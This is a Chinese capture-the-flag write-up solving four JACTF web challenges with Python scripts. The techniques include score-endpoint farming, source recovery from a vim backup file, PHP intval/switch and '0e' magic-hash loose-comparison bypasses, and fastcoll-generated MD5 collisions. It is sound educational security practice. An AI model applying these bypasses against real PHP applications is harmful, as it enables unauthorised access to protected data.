Single

[JACTF]部分WEB题解4 min read

judge

上代码不解释了:P 随便写的,写的不太好

import requests
import re
import time

url = "http://149.129.103.121:8008/"
s=requests.session()
for i in range(20):
    r = s.get(url)
    view = r.text
    question = "".join(re.findall("<div>(.*?)=.*?</div>",view))
    answer  = "".join(re.findall("<div>.*?=(.*?)</div>",view))
    right = str(eval(question))
    if(right==answer):
        data = {'answer':'true'}
    else:
        data = {'answer':'false'}
    time.sleep(1)
    rr = s.post(url,data=data)
    print(rr.text)

snake

游戏结束,抓包发现有一个getScore.php,每次访问都会增加积分,但是访问太快积分会清零,写脚本不断去访问,每次执行休眠2s:

import requests
import time

url = "http://149.129.103.121:8009/getScore.php"
s=requests.session()
for i in range(52):
    r = s.get(url)
    view = r.text
    print(view)
    time.sleep(2)

幸运大杂烩

抓包看到了响应头的hint,依次解16进制、base32和base64得到hint:vim~

于是尝试在url后输入/index.php~得到如下源码:

<?php
header('content-type:text/html;charset=utf-8');
include './flag.php';
error_reporting(0);
if(empty($_GET['id'])){
    header('location:./1ndex.php');
}else{
	$id = $_GET['id'];
	if (!is_numeric($id)) {
		$id = intval($id);
		switch ($id) {
			case $id>=0:
				echo "快出去吧,走错路了~~~<br>";
				echo "这么简单都不会么?";
				break;
			case $id>=10:
				exit($flag);
				break;
			default:
				echo "你走不到这一步的!";
				break;
		}
	}
}

?>

输入不为数字的参数id,且参数不能>=0,可参数必须>10。(???

认真分析了下,如果传入一个不是数字的参数时,函数intval()返回0,也就是switch(0)。

$id>=0也就是0>=0,返回真(1);

$id>=10也就是0>=10,返回假(0),退出整个代码,显示flag。

audit

这道题想做很久了,但是代码太长了最近又没时间不能好好静下心来,咕咕了好久。

<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
    die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
    die('step 1 fail');
}
if( $str3 == $str4 ){
    die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
    die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
    die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) 
{
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 4) || (strlen($n) > 4)) 
{
    echo "m OR n fail";
    die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
    echo "You're great,give you flag:";
    echo $flag;
}

前面都好说,考的是PHP的黑魔法,主要是在这里:

if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
    die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
    die('step 3 fail');
}

可以利用Three way MD5 collision给的三个图片强行碰撞,(偷偷存一下这个笔记:戳我

此外,还可以用md5快速碰撞工具fastcoll生成,生成四个md5值相同的文件的方法如下:(还需要用到tail工具)

【先生成两个MD5值相同的文件】
fastcoll_v1.0.0.5.exe -o test0 test1
【然后根据test1再生成两个MD5值相同的文件,此时test00,test01的MD5值相同】
fastcoll_v1.0.0.5.exe -p test1 -o test00 test01
【将test00的最后128位写入文件a,(-c 128 表示最后128位,tail读文件是从后往前读的,这128位正是test1和test00MD5不同的原因),同理处理一下test01】
tail.exe -c 128 test00 > a
tail.exe -c 128 test01 > b

【执行type命令将test0和a的内容写进test10中,将test0和b的内容写入test11】
type test0 a > test10
type test1 b > test11

这样就生成了test00,test01,test10,test11四个MD5值相同的文件。

通过python脚本将文件上传:

import requests

url = "http://149.129.103.121:8003/?str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2"
s = requests.session()
data = {'str5':open("test00", 'rb'),'str6':open("test01", 'rb'),'str7':open("test10", 'rb')}
rr = s.post(url,data=data)
print(rr.text)

回显come on!,OK我们继续,接下来要做的事是让$str8$str9相等。仔细看这一行语句:

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))

第一个比较用的是“==”而不是全等,所以可以用PHP的黑魔法,0e开头的md5就可以绕过,又因为$a必须是大写字母,所以$a很容易确定是QNKCDZO。对于$b可以使用脚本进行碰撞。

$b的md5形式又要替换几个东西赋值给$str9变量,且$m$n都不能大于4,我刚开始写了正常六位数字md5的脚本进行碰撞(脚本丑陋:

import hashlib
import re

b = '0987654321'

for q in b:
    for w in b:
        for e in b:
            for r in b:
                for t in b:
                    for y in b:
                        count = 0
                        strr = str(q)+str(w)+str(e)+str(r)+str(t)+str(y)
                        md5 = hashlib.md5(strr.encode('utf-8')).hexdigest()
                        if (re.findall('^0e.(.*?)',md5)):
                            for i in md5:
                                if (ord(i)>=97 and ord(i)<=122):
                                    count += 1
                            if(count <= 4): 
                                print(strr+" ====>"+md5)

运行后仅得到:

712842 ====>0e95f93717197350750300734ae63001

因为e冲突了,所以这种方法不能用,想到is_numeric还识别十六进制,尝试十六进制的碰撞:

import hashlib
import re

b = '0987654321'

for q in b:
    for w in b:
        for e in b:
            for r in b:
                count = 0
                strr = "0x"+str(q)+str(w)+str(e)+str(r)
                md5 = hashlib.md5(strr.encode('utf-8')).hexdigest()
                if (re.findall('^0e.(.*?)',md5)):
                    print(strr+" ====> "+md5)

运行后我一眼相中了这个Q Q,完美符合我的要求:

最后脚本如下,运行后得到flag:

import requests

url = "http://149.129.103.121:8003/?str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2&m=acfd&n=1111"
s = requests.session()
data = {
    'str5':open("test00", 'rb'),
    'str6':open("test01", 'rb'),
    'str7':open("test10", 'rb'),
    'a':'QNKCDZO','b':'0x6758'
    }
rr = s.post(url,data=data)
print(rr.text)